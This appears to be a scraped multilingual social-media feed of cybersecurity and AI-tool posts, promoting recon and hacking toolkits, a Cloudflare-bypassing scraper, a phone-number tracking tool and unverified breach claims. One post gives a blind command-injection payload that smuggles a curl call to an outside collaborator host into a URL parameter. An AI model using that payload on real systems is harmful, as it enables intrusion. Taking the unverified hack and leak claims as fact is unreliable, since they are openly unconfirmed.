Citizen

Ctrl+c, Ctrl+v

[Citizen @Orbytee]

@CIADASEC @YuriRDev ((((((((((https://[email protected]/go/?-consultar))))))))))

[DarkShadow @darkshadow2bd]

?url= ❌SSRF, ✅RCE
if you find a parameter which passing url then, before testing SSRF try to test RCE.

1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${ IFS }burp-collab-link;#

Join my BugBounty telegram channel: https://t.co/k00oXcRJsi

[Amarillo @anyelamarillo]

Este video contiene las principales metodologías que utilizan los atacantes para hackear sitios web de WordPress.

[Felps @FelpsCrypto]

Que porra é essa que os caras acabaram de lançar 😭

Alguém simplesmente soltou no Reddit um “Palantir open source” chamado Osiris.

E honestamente?

isso parece coisa de filme cyberpunk.

O sistema mostra em tempo real:

→ mais de 10 MIL aeronaves comerciais, militares e privadas num globo 3D interativo

→ mais de 2 MIL satélites, incluindo a ISS

→ 1.400+ câmeras CCTV ao redor do mundo

→ terremotos, incêndios florestais, instalações nucleares e clima severo em tempo real

E a parte mais absurda:

já vem com ferramentas OSINT integradas direto no navegador.

Sem instalar nada.

→ scan de portas com Nmap
→ lookup e enumeração DNS
→ inteligência de domínio via WHOIS
→ transparência SSL/TLS
→ lookup de ASN e rotas BGP
→ reputação de IP e threat intelligence

Tudo isso rodando num globo 3D com:

→ ciclo de dia/noite
→ mais de 20 APIs ao vivo
→ agregador de notícias SIGINT

Os caras basicamente pegaram ferramentas que antes eram coisa de:

→ governo
→ inteligência militar
→ grandes empresas de cibersegurança

e colocaram na internet open source pra qualquer pessoa abrir no navegador.

A internet em 2026 virou literalmente um laboratório cyberpunk ao vivo.

[Es Geeks @EsGeeks]

Tookie-OSINT 🕵️‍♂️🔍⚡ | Rastreo de usernames en redes sociales

¡Reescrito desde cero en Python 3.12 con interfaz sencilla y optimizada!

Busca cuentas asociadas a un nombre de usuario en decenas de plataformas con una tasa de acierto de ~80%.

Perfecto para principiantes en OSINT y para auditar tu propia exposición digital.

Solo úsalo en tus propios perfiles o laboratorios autorizados.
Cualquier uso contra terceros sin permiso viola términos de servicio y la ley.

#osint #recon #ethicalhacking #ciberseguridad #python #opensource #infosec #privacidad #redteam

[SONIA @S0N_IA_]

Este chico te enseña la manera de aprender cualquier cosa 10 veces más rápido con IA

NotebookLM + Gemini + Obsidiana

🔖 guárdatelo lo agradecerás…

[Vivek | Cybersecurity @VivekIntel]

💉 Advanced SQL Injection Cheatsheet — SQLi Reference

• MySQL, MSSQL, PostgreSQL, Oracle
• Error, Union, Blind, Time-based
• WAF bypass
• LFI via SQLi
• Privilege escalation
• Payload tricks

Flow:
Find → Analyze → Bypass → Dump

https://t.co/rYZ8DcJfKX

⚠️ Authorized use only
#SQLi #CyberSecurity

[✦ VISUAL AI ✦ @VisualconAI]

Este tipo explica gratis cómo ejecutar Claude Code con Gemma 4 completamente en local, sin suscripciones y sin claves API.

15 minutos de configuración, tu portátil, y tienes un agente de código funcionando: cero costes, privacidad total, sin nada que salga de tu máquina.

Gratis. Local. Sin límites.

[Vivek | Cybersecurity @VivekIntel]

🚀 reNgine — Web Recon & Vulnerability Scanner

Automated web reconnaissance suite
• Subdomain, ports, endpoints discovery
• Directory fuzzing + screenshots
• Vulnerability scanning (Nuclei, Dalfox, etc.)
• OSINT + WAF detection + S3 misconfig
• YAML-based scan engines
• Parallel scans + subscans
• Data correlation + filtering
• PDF reports (GPT-based insights)
• Continuous monitoring + alerts

Flow:
Recon → Scan → Analyze → Report

Use cases:
• Bug bounty
• Pentesting
• Recon automation

https://t.co/EXBmuLHuKv

⚠️ Authorized use only
#CyberSecurity #Recon #BugBounty

[SilenceÇaPrompt @SilenceCaPrompt]

🚨 FLASH INFO : Ils ont cloné Claude Design et l'ont rendu gratuit.

Ça s'appelle Open Design, c'est open source et ça te permet de générer des UI/UX avec Claude, convertir des prompts en vrais designs et remplacer des outils coûteux sans débourser un centime.

C'est tout.

[摆烂程序媛 @wanerfu]

OpenClaw 现在可以抓取任何网站而不被屏蔽——零机器人检测，原生绕过 Cloudflare，比 BeautifulSoup 快 774 倍。

无需维护选择器。无需变通方案。只需数据。

这是不公平的优势，而且完全开源。
https://t.co/4r4Jg23jal

[DeepTechTR 🇹🇷 @DeepTechTR]

🚨 Hackerlar buna bayılacak.🔥

Birisi, tüm önemli sızma testi araçlarını tek bir CLI menüsünde bir araya getiren, her şeyi kapsayan bir hacking araç setini açık kaynaklı hale getirdi.

Bir kere kuruyorsunuz ve anonimlik, bilgi toplama, kablosuz saldırılar, parola kırma, web tarama, istismar çerçeveleri, yük oluşturma ve daha fazlası dahil olmak üzere her kategorideki araçlara anında erişim sağlıyorsunuz.

Adı HackingTool.

→ Tek bir menü, Tor, Anonsurf, Macchanger ve proxy zincirlerini saniyeler içinde başlatır
→ Tam ağ keşfi için Nmap, Dracnmap, RED HAWK ve ReconSpider içerir
→ Web istismarı için SQLMap, XSStrike, WPScan ve SecretFinder içerir
→ Parola saldırıları için John the Ripper, Hashbuster ve BruteX içerir

51 bin yıldız. Herhangi bir Linux dağıtımında çalışır.

%100 açık kaynak.

[GitHubDaily @GitHub_Daily]

做安全渗透测试时，工具一个个手动跑，扫描完了再分析漏洞，流程繁琐且容易遗漏，效率极其低。

偶然看到 Pentest Swarm AI，号称第一个真正基于「群体智能」架构的开源渗透测试工具，不是简单的多智能体排队干活。

各个智能体把发现写到共享面板上，其他智能体根据信息素权重自动决定下一步行动，攻击链是自然涌现的，不靠中央调度。

GitHub：https://t.co/HFgut0KWsz

内置了子域名发现、端口扫描、漏洞匹配、漏洞利用、报告生成等完整流程，一条命令就能启动整个蜂群对目标展开测试。

还提供了预设的实战剧本，覆盖漏洞赏金、外部攻击面管理、CTF 解题等场景，直接拿来用就行。

如果你在做渗透测试或参加 CTF 比赛，想让 AI 帮你自动化整个流程，可以关注下这个项目。

[sent @sentdm]

One API. Send messages on all channels.

[DeepTechTR 🇹🇷 @DeepTechTR]

🚨 Arkadaşlar, web scraping dünyasında çok ciddi bir kırılma noktası yaşandı. 🫪

OpenClaw (Scrapling), artık herhangi bir web sitesini **engellenmeden** scrape edebiliyor.

- Sıfır robot tespiti
- Cloudflare’ı doğal yollarla bypass ediyor
- BeautifulSoup’tan **774 kat daha hızlı**
- Seçici (selector) bakımına gerek yok
- Sadece veri istiyorsunuz, gerisini o hallediyor

Tamamen açık kaynak ve son derece güçlü.

Web scraping, veri toplama ve otomasyon işleriyle uğraşan herkesin mutlaka incelemesi gereken bir proje.

🔗 GitHub: https://t.co/XqGgrlerdW

Sizce bu tür stealth ve yüksek performanslı scraping araçları, veri toplama ve otomasyon süreçlerini ne ölçüde dönüştürecek?

Düşüncelerinizi yorumlara yazın, beraber konuşalım. 🕷️

[Citizen @Orbytee]

@MrBeast Ok

[鸟哥 | 蓝鸟会🕊️ @NFTCPS]

你手机号泄露了你知道吗？

GitHub上有个叫GhostTrack的工具，输入手机号直接查出你注册过哪些平台、IP位置、运营商全给你扒出来，5分钟搞定，门槛低到离谱。

你以为网上能隐身？早被透透的了。信息安全这事，不是说说而已。

🔗 https://t.co/XSs8X3B89Q

[Anonymous @YourAnonNews]

Mossad has been HACKED by 'Anonymous for Justice'
Hackers allege full access to Israel’s intelligence databases, laboratories, and classified weapons blueprints. They’ve released video “proof” screen recordings of documents, internal files, and photos linked to Israeli officials and scientists.

[VECERT Analyzer @VECERTRadar]

🚨 NATIONAL SECURITY ALERT (TO BE VERIFIED): ALLEGED MASSIVE LEAK OF 251 MILLION CPFs (BRAZIL) 🇧🇷

A catastrophic post has been detected in which a threat actor claims to possess the largest database in Brazilian history, called "MORGUE." The report indicates a massive exfiltration that would exceed even the current living population of the country.

🏢 Allegedly Affected Entity: https://t.co/uGOuMPcbtY Portal / Brazilian National Registries 🇧🇷

👤 Threat Actor: Buddha

📂 Leak Volume: 251,720,444 records (25.1 GB)

📊 Allegedly Compromised Data (PII):

CPF (National Identification Number), Full Names, and Gender.

Date of birth, Mother's and Father's names.

Death data: Status of death and date of death (which explains why the figure exceeds 212 million living inhabitants).

Race and City/State of birth.

📅 Date of Data: According to the actor, the information corresponds to March 15, 2025.

🔍 Status: Alleged / Not officially verified. Although the actor has published a free sample of 20,000 rows to validate its authenticity.

Monitor:

https://t.co/wk9bZJ3laQ

#CyberSecurity #Brazil #GovBr #DataBreach #Buddha #MorgueLeak #CPF #Hacking #InfoSec #VECERT #Cybersecurity #Privacy #BiggestLeak 🇧🇷🛡️💀

[Citizen @Orbytee]

@ASantaCatolica